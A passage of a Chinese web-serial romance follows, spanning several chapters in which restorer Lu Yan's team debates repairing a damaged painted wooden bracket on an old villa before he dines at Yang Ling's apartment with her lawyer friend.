明面上小赵是一个人,实则每每到找外包的时候,陆砚团队背后、彩绘修复这块其实有老赵的底蕴支撑。 “陆哥,”小赵在手脚架上对彩绘构件聚焦镜头,背心透着汗,“西边内墙的回廊,做还是不做啊?” 这不是个好问题,你见过一份炒面,一半热一半冷的吗? 但又是一个置疑且不那么尖锐的好问法,倘若他直说‘西边回廊拆还是不拆’,那陆砚还真没个准信。 毕竟老杨头说了,‘按她的来’,可她...... 要真一口气推了重来,甲方可得出大价钱,人能同意吗? 陆砚有预感,工作上,两人之间有座大山在前面等着。 “前期该有的准备一个不能少,后面该配备的原料和绘制师傅也要到位。” “哦哦......嘿嘿。” 公是公,私是私,小赵的意思陆砚当然知道,不就是赵家班又得抽几个人盯着那条随时可能拆除大改的回廊嘛! 但他们间的外包是按项目承包制签的。 所以因为后续变动让你们做了无用功那也没办法,水果店老板总有些坏果子要自己担成本。 陆砚能做的,就是确保项目稳妥情况下多照顾对方。 “陆哥,相机内存不够了。” 陆砚一愣,这本是小李的活,随意说道:“好,知道了。” “还有这个中午休息和吃饭......” 大、小李在苏州给人修民宿,采购和后勤‘跑了’。 想起来了,都想起来了。 与之而来的,施工场地的布置,合理规划材料堆放区、工具存放区、临时办公区,确保施工现场整洁有序,避免因场地混乱而导致的施工效率低下或安全事故。 生活保障、文件资历管理等等杂七杂八的—— 陆砚头皮发麻,全都想起来了。 “知道了,这两天解决,我先去把西边墙的手脚架给你搭好。” 应下了,然后赶紧让自己动起来,不然很多年没操心过这类琐事的他,会焦虑的。 “没事的陆哥,那边墙是稳的,不如我一蹬腿、往上爬来得方便~” 脚步停住,看着他,没说话。 小赵突然想到陆砚的原则,回头往下瞄了眼,不好意思笑笑。 ...... 另一边,一楼前厅。 张野和冯小军费劲地把四大捆保护罩片堆放进屋,每捆都齐腰那么高,踩在上面就像玩小时候的气垫蹦床。 不过冯小军没像张野一样用脚把它踩实,不是说素质高或者崇高职业感...... 根据过往生活经验,他怕贸然发力,气堆会像氢气球‘砰’地炸开。 “张师傅,我们先把空房间封起来?” 和他在实践课上看的‘封现场’不一样,‘防护罩’并非绿色尼龙网状网格,也不是钢制胶合板围挡,而是一沓沓轻飘飘的塑料布。 这让他想起第一次看浇筑的画面,如洪流般倾泻的混凝土倒在模板内,施工人员手持振捣棒发出轰鸣声和混凝土流固的声音...... 看来施工强度上,比土木还是弱一档啊。 “不,先从小构件开始。”张野扣扣鼻子,从慢慢瘪下来的‘气垫’上跳下来。 冯小军顿感无趣,依照对张野的印象,以为他想划水,说:“您这是张飞穿线,爱玩细活啊?” 众所周知,细活便是需要在细节处花大心思的活。 就比如一个奇形怪状的构件,你要用防护罩把它完完整整遮挡起来,可不得量尺寸,裁剪合适大小、形状的布匹嘛? 这‘匠心’所在之处,正如某些非正式考古人员用刷子刷灰,可不一琢磨就是大半天? “小子,你知道我入行的时候,陆哥给我上的第一堂课是什么吗?” “什么?” “安全,安全,孩他娘的是安全!” 冯小军不以为意,没期待自家张师傅说出个三四五六来,却不曾想是这么老生常谈的东西。 于是歪嘴一笑,将对方看透了: “是是是,咱们轻手轻脚把布铺好,行了吧?” “哎,我也不是那意思,好像是因为啥布局问题,大的空间都是最后才‘上锁’。” 张野扣扣脑袋,到底没想起原因是什么,他都是这么过来的: 专业的事情不添乱,该他做的手艺静下心。 便是他职业生涯走到今天——进入相对高端队伍的最大原因。 用老一辈的话来说就是,‘把苦力活儿交给他,能踏踏实实睡个囫囵觉’! 但凡是有例外。 也不晓得为什么,老一辈的杨老头不待见他。 “张师傅我晓得啦,咱们接下来就干这?没别的事了?” “我也不知道啊,听指挥吧。” “...” 冯小军终于明白陆砚口中的‘复合型人才’是什么意思了。 陆师傅,杨老师在吗?我想转专业。 第三十九章 拿捏尺度刚刚好 “苏棠,来来来,小师妹,工作上有没有不懂的?” 苏棠慢条斯理,撕开湿纸巾给自己揩脸,专注得像擦拭古董瓷器。 陆砚从西侧回廊搭完手脚架回来,突然想到了一个更合适的后勤人选。 正所谓知我者谓我心忧,不知我者...... “陆师傅在叫谁?苏棠属于大木架落架还是重要构件取样?是拍照片还是拍摄 4K视频存档?” 什么意思? 他一时不知道这孩子在阴阳怪气什么,一如既往地无语。 嗯,且当她冲浪冲傻了,无视吧。 “上班时间不要说怪话,我有重要的事情跟你讲。正所谓水往低处流,人往高处走。女孩子心细,我们现在缺个后勤管理,你的实习可以考虑轮到这个岗位,别听是后勤,其实......” 陆砚用两分钟高信息密度讲解,把外界对‘后勤’这块的刻板印象和偏见统统为苏棠排除之后,满意点头。 她沉默着,似乎听进去了。 “好,你说。” ?! 陆砚隐约意识到了什么:“情况大概就是这样,你还有什么要问的吗?” 如果是因为工作上的情绪,他可以安抚,也必须负责。 “没有,就是开玩笑逗你呢,您安排什么我肯定听话呗。”小姑娘柔和笑着。 “真没事?你放心,有事不要闷心里,随时跟我说。”他怀疑,但没有证据。 再说了,她又不是‘她’。 就是真有情绪那也是自己需要面对的课题,同济出来的不至于那么‘娇贵’。 “有噢,后勤我没做过,谁带我?”手指绕着头发,一圈一圈打转,开口像夏天突然返场、慵懒的风轻轻吹拂。 不出所料,苏棠私下爱闹腾,工作原则还是有的,在这给小师妹点赞。 “你看除了我还谁有空呢~” 他在这个话题上想起杨灵了。 后勤这块想必她也不懂,等过来发现‘徒弟’改换门庭以后会不会悄悄跟他生气? 当然,期待看到的不是真生气那种。 想到这里感到一丝开心,他决定再去打个电话。 走出几步,背对苏棠,靠着大门门框。 “陆师傅?” “杨博士,下午过来吗?” 工作时间要称职务,他懂。 “嗯......应该能赶过来。” “不方便?要是没空的话我给你送过来或者改成一周一签也行。” 陆砚要写施工日志,杨灵则是签署监理日志。 前者是每天都要写,定期提交上去;后者是每天都要签,定期应对检查。 所以上班时间打这个电话,他具备正当性! “不用......对了你晚上有空吗?乔乔请客。” ...... “所以,现场的生活和材料文件录入、统计和管理就是你主要的职责,活有点多,每天给你多五十块综合补贴,后面外包队进来,我们再谈待遇或者找专门团队负责。” 所谓后勤其实可以细分为三类:材料管理与采购,设备管理与维护,安全与生活保障。 眼下只有六个人,目前还属于前期准备阶段,由陆砚和苏棠负责采购和后勤,1:3的配比,倒也马马虎虎。 “那陆师傅,是不是你采购的时候我也要跟着,做入库记录?” 采购和后勤确实有着紧密联系,难怪大小李关系那么好、连出走都要一起。 “名义上是这样,但肯定会考虑你这边的时间安排,后续我直接把采购表给你也可以。” 放心,都是一个学校、一个团队的,什么潜规则、职场压迫是一定不会发生的。 他可以向杨灵保证! “陆哥,什么时候开饭呢?” 张野开嗓让其身旁的冯小军浑身一震,说到这,他也算吃上免费午餐了,心中大感自豪。 “陆哥,管饱吗!”他不逊色于张野的嗓门喊道。 “走吧,苏嬷嬷,后面两个崽嗷嗷待哺了。” “好的,陆公公。” 苏棠笑不露齿,至此,已经端庄了大半个上午。 诡异极了。 就像女孩17.9岁和18岁的区别一样,变化太大了。 一边拿车钥匙,一边招呼张野帮老周看着点,身后是脖子上挎相机、蓝色背带裤的小师妹。 阳光不骄不躁,正好把前路照亮,陆砚的事业心随之鼓动。 即使,存款在房贷攻势下撑不住半年,但老洋房的预付款就要下来了。 即使,杨灵和他的恋情还没开始,两人的身价也不匹配,但不久后他会在杨老头的扶持下创办公司。 收入不是问题! 所以人生有奔头的时候,一个男人又怎会不心潮澎湃呢? 哦对了,还有张扒皮的尾款! 现在已经不值得在心里喊张老板了。 “陆师傅,这是?” 车没开几步,驶入新华路拐角处、在名为‘阿芳小馆’的平价餐厅门口停住。 陆砚放下车窗,隔着玻璃门,灶台传来的锅铲声,红烧肉香气扑面而来。 “这是之前踩过点的饭馆,不是最便宜的,也不是最难吃的,是附近综合评价最好的。” 为了避免苏棠多想、以至于回去以后让大伙多想,陆砚这次耐心解释道。 伙食费由他这个施工承包方出,没错,但餐标绝对是中等以上、味道也确实还行的水平。 这是他要强调的。 “所以啊,小师妹,下去跟他们谈吧,仨星期之后老洋房每天就是十来人用餐,好好谈,记得开发票。” 按照谈判原则,理当是了解更多信息的陆砚去灵活交谈,压低价格。 所以是有意锻炼这位刚上任的‘后勤’? 非也。 透过玻璃门看,今天老板娘不在,让小姑娘单独去跟木讷中年男人谈或许会有暴击效果。 特别是苏棠这种,夏天的抹茶味少女。 苏棠自然不知道身边人的想法,只当是师哥给的锻炼,于是决定上午的账先记着,一会准得拿出甜得自然且可爱的状态去谈到最低的价格报答这份栽培—— 成事的决心就和上面句子一样悠长。 车门开了,她一个人往店内走去,陆砚则抽空给杨灵打去电话。 嗯,今天联系得有点频繁,谁叫她在‘生气’中呢。 虽然仍不知道她为什么生气,不过这提供了绝佳的接触借口,不是吗? “中午好,杨小姐~” “陆师傅。” 好吧,那边还是正式谈话。 “早餐有没有按时吃?午饭准备吃什么?” 原本陆砚认为,在不那么纯粹的情况下他不该招惹一个那么好的姑娘。 可随后一想,招惹了又怎样? 咱没犯法,好好负责、照顾她不就好了? 一想到她会跟别人在一起,心底就败落了夏花。 而想到未来会和她携手走下去,他是如此的不抗拒,于是心情就坦然了。 “有按时噢,中午准备和乔乔一起吃。” 若是偏激点的、或是关系没到的人,准得说‘无不无聊?难道我要向你汇报吗?’ 但是杨灵顺从地回答了这两个没营养的问题,丝毫不觉得主体性被冒犯。 甚至,言辞认真得像开学术会议。 “那晚上你的乔乔准备带我们去哪吃?我可以点菜吗?” “可以。” 答应得很痛快,可能在‘因为乔乔是她顶好的姐妹’这个原因外,还有‘不管点什么,也要尽量让乔乔答应’的觉悟。 陆砚是这样脑补的,于是自顾自地又从幻想中尝到了甜甜的奶香味。 “那我要吃你做的菜~” “师哥快开门,外面热死啦!” “...” “师哥?陆师傅倒是公私挺分明。” 到休息时间就让小姑娘改口喊师哥,这样亲切些是吧? 明媚车窗外,是一张恶作剧得逞的狡黠小脸。 她好像知道这样会给陆砚带来些不痛不痒的麻烦,偏偏这种程度又不会让人真的生气。 陆砚无奈,拿捏的艺术算是被这丫头玩明白了。 第四十章 疑难症 “陆哥,”搞彩绘的小赵扒饭不忘工作,“檐下有个彩绘雀替,那家伙不得了,说是这栋房子的底蕴一点毛病没有。” “说重点。” 苏棠跟老板聊得很好,不仅实惠还管送餐,所以他们就在老洋房现场用防护罩当桌布在客厅桌子上凑合吃着。 吃饭氛围也很好,张野和冯小军两人已经开始第二份套餐了。 顺带一提,六个人,买的九人餐,为了吃饱可能会浪费,但陆砚完全没意见。 “坏得严重。”小赵说。 从这四个字来看,他的缩句功底是有的,因此前面的废话功力也是厉害的。 “雀替而已,那就换了。”老周说。 雀替,宋代称‘角替’,清代改称‘雀替’,又称为‘插角’或‘托木’,通常被置于建筑的横材与竖材相交处。 不仅作为装饰应用于建筑,还在增强梁枋荷载力等结构作用力上发挥作用。 这东西,不说老周,陆砚自己都修百八十个了。 一般情况下,老周作为团队有高级证的老木工,关于木构件的决策极有话语权。 巧就巧在,那个雀替既属于木构件,又是彩绘构件,还是个老的彩绘构件。 换句话说,半只脚踏进文物的行列了,小赵是这样认为的。 “不好换,才说了,是这房子的底蕴。” “补起来又费事?” 陆砚听明白了,内外科医生同时遇到疑难杂症,两位要撸起袖子下真功夫了。 当然,下真功夫有条件,‘得加钱’。 就比如说这个雀替,小赵一个人最多负责表面彩绘部分,木构件修复还得老周来,那把老周借过去修个三五天的,不算材料、设备和精力,仅说人力成本...... 一线城市的木雕师、漆艺师日薪在800-1200元/天,若珍稀构件涉及榫卯结构复原或彩绘纹样复刻,需联合文物修复专家现场指导,顾问费用可能达万元级别。 陆砚继续吃着饭,跟小赵、老周交换意见。 这类事情在古建修缮过程中很普遍,一个工程里面出现几个乃至十来个‘争议’构件很正常。 陆砚他们一致认为,重要的不是经济成本,而是根据‘最小干预原则’界定保留与替换的边缘。 比如,当彩绘层大面积脱落,木质构件也有腐朽时,是仅修复可见部分,还是深入挖掘潜在问题进行全面修复,这是他们亟待需要达成共识的层面。 然后根据这点,来想办法他们动手或者请人来做。 大不了自己加班加点把它修了,谁还不是个‘带证’上岗的匠人呢,陆砚轻松想着。 “张哥,小军哥,你们慢点吃。”今天他事业心重,决定先去后院看看那个‘雀替’怎么个事。 “好嘞,陆哥。” “陆师傅不吃啦?” 冯小军咋舌,怎么会有人放着免费的午餐不吃选择去工作呢? 还有,号称复合型人才的张师傅吃饭真的一句话不说耶,好专业。 陆砚走后,苏棠在自己的角落撇撇嘴,暗恼又把她忽视了。 而且是独独忽视她!(老周年纪大,她没在意) 顿时也吃不进去了。 “我也去看看。”她放下筷子,拧着摄像机走了。 此时张野和冯小军才舍得把视线从碗里抽出来,彼此眼中燃气清晰的火焰。 下一秒—— “别抢!” “手快有,你没有!” 张野顺手抄起苏棠的剩菜,留半碗没吃完的白米饭给冯小军足矣。 这便是残酷的职场,对一个新人来说,社会狰狞的一面正在缓缓展露。 ...... “陆师傅,修这个雀替对咱们有什么好处吗?听起来要倒贴钱?” 苏棠跟陆砚前后脚到后院房檐下,提出不解。 若洋房属于文保建筑,成功保留并修复高难度木构件可成为施工队参与高端修缮项目的‘活案例’,吸引文物局、历史建筑保护机构等合作机会。 但这栋老洋房目前还不是。 假如甲方预算是固定的,非遗工匠日薪1200元有价无市,设备、时间违约等,够麻烦的。 所以为什么要做吃力不讨好的事? “短期思维、商人思维不可取。”陆砚没回头,盯着那雀替看,“相机给我。” “哦。”苏棠递上相机,乖乖在下面替他扶着手脚架。 这动作把陆砚看得一咯噔。 法治社会,人就是再腹黑也不至于吧? 不禁一阵发笑,全然不是说他对小师妹人品怀疑至此,而是源于人的本能。 相信每一位身处井口或悬崖边的人都能理解。 陆砚说:“就按你的说法,咱们在多数施工队倾向‘替换’的时候选择修复,这是不是技术壁垒啊?在高端业主圈立口碑,项目溢价可达两到五成!” 他用手比了个‘耶’,代表至少两成溢价。 苏棠笑了,还是头一次见陆砚在工作中展现出‘市侩’的一面,这是否意味着‘信任’呢? “小陆你这就不纯粹了!” 老周和小赵也不紧不慢散步过来,尤其是老周,牙口日渐不好,吃完饭嘴里总叼着牙签。 “不是纯爷们?”苏棠问。 她的大眼睛里有三分疑惑,三分做作和九十四分调侃,百分百腹黑没得跑。 反正老周和小赵不会觉得生硬,略过工作中的润滑部分,陆砚直入主题: “我去,老杉木搞的深浮雕雀替,难怪上了彩绘。” 闻言,老周叼着牙签一蹬腿爬上手脚架,盯着开了四分之一豁口的老物件。 不仅中医讲究望闻问切,正儿八经的老匠人也兴这套。 木构件的形制、气味、信息和触感都需要由经验丰富者一一甄别,然后定方案拿决断。 老周用手轻轻扳动,感受雀替传导的微微摇晃,捻了捻手指放鼻尖一嗅,说: “最少八十年是有的,贵在材料和做工,‘修旧如旧’要花大成本。” 所谓大成本每个人都有不同概念: 对冯小军来说,一款名牌球鞋也算大成本;对日工资就是一双名牌球鞋的老周来说,‘大成本’肯定小不了。 言已至此,理论上陆砚先要决定修不修,再决定怎么修、找谁修的问题。 联系甲方?可人家给的是固定预算,盈亏自负。 再说了,项目是杨老头给的,甲方在哪他也不知道。 但手脚架上的他没按照一般理论思考,而是在想去哪弄点便宜的百年杉木。 修啊,怎么不修。 修的就是老构件,修的就是口碑! 不是老的还不修咧! “陆师傅,你听一下这段语音。”苏棠举着手机说。 然后,杨灵的声音传到四个人耳里。 “考虑经济和艺术平衡,可以引入碳纤维加固,基础轮廓用机器粗加工,材料用新木做人工老化处理辅以不锈钢微型螺栓,后续再用环氧树脂胶替代鱼鳔胶,增强粘结力......” 清脆的声音在微微燥热的午后进行了六十秒的阐述,没待语音讲完,陆砚和老周就笑出了声。 得亏杨灵不在现场,不然他还不敢笑得这么开放。 “幽默,这小姑娘幽默。” 老周轻哼,黄黑的表皮咧出一道痕,那是发笑的标志。 陆砚随即接话,“经济效益确实帮我们拉满了,一下省了大半工期和材料费。” “所以人家是高才生啊。”小赵附和道。 这句话让陆砚心有不适。 老周老一辈固执点也就算了,连我都没刺她轮得到你阴阳怪气? 压下情绪,他出声叫停:“苏棠,你跟杨老师说,谢谢她的意见,我们会考虑的。” “真的吗?杨老师让我如实反馈诶。” 你就扯吧,杨灵的敲字手速,来得及跟你交代这么多? 小朋友我劝你不要玩火! “按我说的回,不要夹带私货。” 还不想这么快和杨灵在工作上发生意见相左时的讨论。 他知道,杨博士不是个因为交情而改变工作意见的人,他也不是。 “好哦~” 第四十一章 去她家 众人不至于发现一个‘疑难杂症’就放下手头的活不管,所以延续上午的安排,老周把木构件过一遍,小赵把控彩绘,张野和冯小军则跟在他们后边、把安全构件保护起来。 如果时间空余,则抽空把一般构件该修补的修补——前提是用传统方式、传统原则。 至于‘传统工艺结合智能监测’,等他跟杨灵慢慢磨合吧。 苏棠那边,陆砚花了两个小时给她交接原属于小李的历史遗留任务和后勤安排。 直到洋房前院铁艺栅栏开进一台粉色保时捷,他才意识到一天又结束了。 夕阳西下,云边烧得红火,斜斜漏出光亮,把杨灵涂得十分好看。 奶白色的宽松针织开衫柔软又舒适,内搭白色短款吊带背心,精致的锁骨若隐若现。 下装是浅蓝色的破洞牛仔裤,裤腿收束,完美衬托腿部线条。 脚上踩一双米白色的厚底穆勒鞋,慵懒随性,像刚从家里出来、特地来接他下班。 陆砚跟她打招呼,逗她笑,她也不扫兴,浅浅地笑着。 随后两人默契在文件上签字,没有进去看那个雀替,也没有接着下午的方案讨论。 两辆车,一前一后驶往杨灵家里。 ...... 顾南乔在翻杨灵行李箱,在这之前已经翻完卧室床下、衣柜和阳台第二台洗衣机上面的夹层。 她知道,今天陆砚要来,杨灵肯定会把一些东西收起来,所以她要把它们找出来,物归原位。 嘻嘻。 从现在情况来看,包括但不限于《男性心理学》、《女友穿搭》、《恋爱关系指南》、《拿捏恋人的三百六十个小技巧》等书籍若干,还有男士领带一打,情侣卫衣一套。 眼前堆叠的和恋爱有关的杂志、论文和一些杂七杂八的物品,叫顾南乔甚是为难。 她只想看到一个害羞的杨灵,但这些东西极有可能让闺蜜颜面尽失。 所以,适当筛选是有必要的。 在这之前... 她把那本《拿捏恋人的三百六十个小技巧》翻了翻,米白色羊绒地毯上,夕阳透过弧形落地窗点亮顾南乔嘴边痴痴笑的弧度。 仿佛看见了美好的未来,关于杨灵和陆砚的,于是由衷感到幸福。 ‘女儿终于长大了’的欣慰以及‘便宜陆砚那狗男人’的气愤,共同构建这微妙的幸福。 把翻出来的书收起来,决定待会在一旁看看,‘满腹经纶’的闺蜜究竟有她几分实力。 天色渐暗。 刚开始顾南乔还在期待‘好戏即将开演’,随着时间溜走,不禁怀疑这俩人是不是背着她享受二人世界去了。 由靶子找箭头,是件非常容易的事,越分析越有可能,正当她掏出手机拨通电话时候,门终于‘咔’地被打开了。 智能家居机器人的问候声响起。 “好慢啊你们!”顾南乔赤脚走到地毯边缘换上拖鞋,看看到底怎么个事。 只见把包和钥匙放玄关、边说‘久等了’边笑着脱鞋,然后还不忘从鞋柜拿出男士拖鞋递给陆砚的杨灵,她脸颊泛红,像刚泡了温泉般滋润。 陆砚亦是眉梢带笑,在杨灵弯腰换鞋的时候用绅士手帮她拉住针织衫下摆,以防腰窝侧漏; 趁换鞋间隙,还一个劲夸‘家里收拾得太干净了’之类的客套话。 也不知道这有什么好说的,亏你笑得这么开心! 杨灵灵,太没出息了吧! “陆先生,千万不要太不客气,这毕竟不是自己家。” “杨小姐,你千万不要太客气,就当回自己家一样。” “呕!我是来切饭额呀?么讲切饭前向有催吐额环节啊!(我是来吃饭的吧,没说吃饭前有催吐环节啊)” 是可忍孰不可忍,她顾南乔可是发现一大堆让杨灵‘身败名裂’的证据、却半点没漏出来的良心好人。 结果呢?你就拿这招待功臣? “哟,顾大律师不是说请客吗?怎么跑别人家里摆酒席了。” 他心情好得不得了,从路上得知杨灵要把他领进家门那刻开始。 更别说两人刚才在楼下来回兜了一大圈,看看小区绿化、花卉啥的,氛围非常不错。 “切——,”顾南乔听到这个就来气,“也不知道是谁大口一张说要吃灵灵做的饭,你晓不晓得你搞得吃个饭麻烦死了,我......” 杨灵赶紧上去捂住顾南乔的嘴。 咳咳,有些事情暂时保持神秘才好! “乔乔,你帮我洗菜吧。” 看似讨好式地提出请求,实则是想把她留在自己身边以达‘封口’目的。 眼神交会,她们心照不宣。 “哦哟,陆砚是客人,我就是下人,他来了坐着,我就只有洗菜干活的命。” 浮夸! 这演技放初中生表演大会显得青涩,但是参加小学生朗诵大会,情感绝对满分。 杨灵从顾南乔眼中看到明显调侃,准备继续割城让步时—— “我来帮你吧,做饭在下正好略懂。”陆砚说。 “不行,我来!” “...” 好你个顾乔乔,纯心坏你陆哥好事是吧! ...... 厨房里,如果不说是厨房的话,其实说实验室里也勉强行得通: 带刻度的透明接水杯,标记好一次多少分量的小勺子,2g、5g、10g分别陈列,定量倾倒的调料瓶,小型电子秤,墙面贴着今天的菜谱,菜谱上写着做饭流程。 还什么卡路里摄入计算表、营养表更不会少,似乎一切可以确定、可以量化的事情都要精准掌握。 关上厨房门后,顾南乔立刻把手放到杨灵腰上挠痒,惹得一阵欢笑。 那个封闭的空间比外面、让来访者感到视野开阔的ldk公共区域更有探索欲,至少陆砚的视角是如此。 同时也不免咋舌——尽管早知道和杨小姐的财富不在一个量级上。 虽然大平层户型在客厅、餐厅、阳台以及一个开放式厨房上实现了一体化,但据陆砚粗略估计,这片区域最少也有130个平方了,也就是比他贷款买的房子还大。 更别提一般占据全屋面积20%-30%的主套房和至少一个次套房。 所以这处房产如果要买的话,无疑花个大几千万没跑的。 会感到压力吗?会。 会产生自卑吗?去他乃乃的自卑。 自信能让人事半功倍,自卑又能带来什么好处? 人活三万多天,最后都是一die,所以自卑大可不必。 何况曾经也不是没有富婆邀请他入住豪宅。 都没带正眼瞧的! 陆砚先是被那面270°环幕落地窗吸引,据说这是大平层实现‘一层一世界’的关键要素,也是整体施工过程中让费用溢价的重点。 嗯,视野的确不一样。 然后是一张‘u’形桌,上面由三块大屏幕半包围堆叠、组成的办公区,桌子不远处就是打印机,打印机旁边堆垒着半米高的墨盒。 如果某个私人侦探悄然造访一定会说,‘屋子的主人是个工作狂,墨盒数量为证据’。 屏幕亮着,它就像上面还有露珠、表皮红嫩的苹果,诱惑男人去窥探一眼女人的隐私,发出‘她的内心就在那里,要看吗’的诱惑。 不对劲,自己是不是太久没来异性家里、过于兴奋了? 这都是觉醒些什么癖好的征兆啊? 轻拍双颊,目光挪向书架——这是不会让人觉得冒犯且客人有一定自由参观度的地方。 毕竟,知识具有共享性,分享知识是一项高尚的品德,主人不会拒绝的。 于是他来到这个必然考虑过空间美学的现代风书架前,以陆砚专业眼光来看,这是个模块组合书架——由金属框架和亚克力板构成,可自由组合形状。 嗯,风格和她的智能家居系统很搭。 想到此处,他有点觉得自己是装修师傅而非客人了! 要有拿出对应腔调来啊! “...” 《characterization of materials》、《molecular modeling: principles and applications》、《two-dimensional materials: synthesis, characterization, and applications》...... 服了,虽然也是名校毕业,但如今的他看名字都费劲,想必学术道路是追不上杨灵了。 第四十二章 拿捏恋人的三百六十个小技巧 “现已开启用餐模式——” 机械女声响起同时,客厅的光线变得明亮而柔和,就连餐盘都被照得更能激发食欲了些; 半折叠桌缓缓延展、铺开; 空调温度降低1.5℃,背景乐是不大不小的钢琴曲。 饭菜可口。 油焖茭白,清炒时蔬,油爆虾,和外卖牛肉火锅。 杨小姐和顾女士尽力凑出了三个菜,所以陆砚一筷子都没偏向那个火锅。 同时为防止杨小姐伤心,他是每道菜都均沾的吃法。 毕竟谁知道其中哪道就偏偏是顾乔乔的得意之作呢? 让杨灵输?不可能的! “这笋绝了。” “第一次吃到这么好吃的青菜。” “油爆虾呢?”顾南乔说。 “油爆虾......” 陆砚迟疑,在前两道清淡的菜品里面这油爆虾显然是异类,所以他要拉踩吗? 那真是舔狗了! “油爆虾也好吃,看得出你们选菜和搭配是用心了的。” “哪个最好吃?” 果然,他就知道当律师的有一个算一个,心眼贼坏、言辞上极具杀伤力! “杨灵做得都好吃。” “对人不对事,这种避重就轻的说辞就是心虚。” 顾南乔看杨灵,杨灵顺从、看向陆砚,陆砚知道她们达成共识了。 但这不是难事,“我个人认为茭白最合胃口。” 一方面是顺从本心,一方面是理性结合经验的判断。 当然,如果不是后者分析的缘故,本心也会随之变化。 杨灵笑得很含蓄,眼角微微下垂、似不在意,但偏不去看陆砚的眼睛。 陆砚知道选对了。 但下一秒她就不笑了。 “好吃就多吃点。”顾南乔给他夹过一筷子菜。 “...” “...” 仿佛之前那个温婉带笑的女人是他的幻觉,杨小姐分明还是那个清冷无情绪的杨督察。 盯着碗里的茭白,大脑飞速运转。 这件事严重吗?不严重。 她会因此生气吗?大概率不会。 置之不理浑水摸鱼可以过关吗?可以。 但...... 这个阶段,就如同多数刚刚坠入爱河的少男少女一样,他舍不得让对方哪怕一点点不开心。 “好吃的要多分享。” 陆砚把碗里的茭白夹到杨灵碗里,这是短时间所能想到最好的办法——既能挤开顾乔乔的‘调戏’,又表面上把话圆回去。 于是,在顾南乔鄙夷目光中,杨小姐不好意思点了点头,但不拒绝。 然后在菜盘里夹菜。 “也给你分享。” 抬眼,对视,暧昧浓得化不开。 “...” 顾南乔承认,闺蜜有点东西,至少有她六分实力了。 所以还能说什么呢? 把他们刚进门的时候、嫌弃的话又说一遍? 算了,自己还是安静吃饭吧。 尽管这饭是酸的。 酸就算了,还不开胃! ...... 关于洗碗这件事,陆砚真心不喜欢,尤其是洗碗之后手指附层着油、得用洗手液再洗一遍的时候。 用洗手液洗完之后手指又有种异常干爽、混着清洁剂化学香味,它们又是一重折磨。 一想到这些油污会沾染杨灵白葱似的手指,陆砚便觉得洗碗这事非他莫属,必须亲自动手! “陆师傅要和洗碗机抢工作?” “......市面上的洗碗机基本上洗不干净。”陆砚嘴硬道,实则庆幸到‘有洗碗机啊’。 他是为杨灵的双手而庆幸。 高科技什么的,最棒了。 小插曲过后,三人围在铺着地毯的客厅沙发分开坐下、躺下。 反正家里恒温26°,两女也不嫌热,贴在一块——主要是顾南乔侧着身子往另一边蹭,杨灵始终坐姿端正。 陆砚本以为聊什么呢,细听才知道是秋季款衣服之类的。 顿时,邻家女孩的既视感就上来了。 值得吐槽的是,邻家女孩手里一人一杯‘绿色’饮料,大概因为蔬菜汁能美白? 或者,是因为她们都白得不像话,所以他会感觉蔬菜汁有美白的效果。 “陆砚。”杨灵说,“文保局的短视频你愿不愿意出境。” 他当然知道文旅局在做短视频宣传这件事。 早先在屏幕上看过杨灵拍宣传片,就在某音上关注了。 后来杨灵出现的次数变少,便不再留意。 至于杨灵问陆砚‘愿不愿意’,他当然只有一个回答。 “就是拍老洋房项目,我顺便出镜?” 正儿八经的官号,肯定不会只盯着他拍,古建修复理当是宣传价值的重点。 “对。” “切!”顾南乔把埋在杨灵肩膀上的脑袋扭了扭,“当初我怎么说来着?瞧瞧,是不是说中了!” 她脸上三分不屑、三分傲慢和一系列复杂混着得意的神情,看着她手机上的天秤挂坠,陆砚就记起了他们初次见面的对话: ‘陆师傅该去拍古建保护宣传片,拯救文物局官网点击率。’ 杨灵显然也想起来了,看着顾南乔:“乔乔你太有眼光了。” “嗯......这个嘛~反正这一块我目光是挺长远的,哈哈。”随后她说,“你呢?那时候说的是什么?不是好话吧!” 陆砚一愣,那个清冷的声音在脑海响起: ‘他的施工方案错误率会导致宣传片变成警示教育片。’ 还记得那时候他们在项目方案上争得不可开交...... 等等! 这个难以调和的矛盾依然没有挪走,只是被俩人有意延后了。 甚至,随着时间的推移和累积,这个‘雷’也许会在炸开的时候会更疼、更难以面对! “啊......这么久我记不清了,”杨灵突然转过头,“陆师傅中午带着小师妹在做什么?” 陆砚看着她,首先为拙劣的转移话题技巧点赞,其次为她殃及鱼池的打法再次点赞。 饭后悠闲的节点、这个氛围,他能说‘把苏棠拐到门下、学习后勤事项’吗? 不能吧,她闺蜜在,人家也要面子、显然不适合惹杨灵‘生气’。 “我觉得洗碗机洗不干净,我还是再去洗一遍碗吧......” “那,我也......” 杨灵看向顾南乔,顾南乔再度丢给她一个鄙夷的眼神,不想管。 这次,两人亦没在开放厨房动手,依旧跑到那个相对‘安全’、有门‘把守’的小厨房洗碗。 “手套。” 杨灵递过一双看起来崭新的手套,甚至在他戴完一只手套、另一只不好戴的时候,细心用手抻好。 清水流过一只只碗口,划出一声声水滴融于水面的声音,像溪流撞上夏天。 他们并肩站着,肩膀能感知对方传来的热量,亮堂灯光下,两人影子缩成圆圆两个团,紧贴在一起。 “杨小姐的厨房,真的很有学术气息。”他开口‘嘲笑’道。 嗯,可能杨小姐觉得是‘嘲笑’。 “本来做饭就和调配试剂很像嘛......” 轻拍对方的肩头,轻得他拿碗的手都不曾晃一下。 “可我确实很喜欢吃,下次还能来蹭饭吗?” “你想我就非得做吗,而且下次轮到你了~” 她就这么站在陆砚身旁,不知道是意识到‘精神上支持’的效用了,还是没意识到此刻她属于‘站旁边干看着的角色’。 总之,杨小姐说是来帮忙的,实则除了帮忙戴手套和陪聊,就与‘帮忙’一词沾不到边了。 可陆砚却觉得身上有用不完的劲,大概还能再洗一百个碗。 ...... “等等。” 把他们送到门口杨灵突然想起一件事,踩着拖鞋转身回房间,没一会提两个袋子和礼盒出来,“上次说好了给你带牛奶的,但是叔叔在我就送别的了,还有这个是朋友送的亚利桑大州特产,你回去记得尝尝。” 她一股脑往陆砚手上送,把旁边的顾南乔看呆了。 “灵灵,我的呢。” 已经没有力气吐槽了,甚至没力气生气。 本来从中级法院出来就是想跟闺蜜说说话,放松心情的。 但这顿饭吃得身心俱疲。 “乔乔我之前不是有给过你...” “亚利桑大州的特产,我的呢。” 她很平静,平静且用词清晰,上海市第二中级法院第三法庭的法官和执法场务大抵熟悉这个语调。 “我给你买了件雾蓝色裙子......” “...” 顾南乔知道,所谓《拿捏恋人的三百六十个小技巧》闺蜜是一个也没学会。 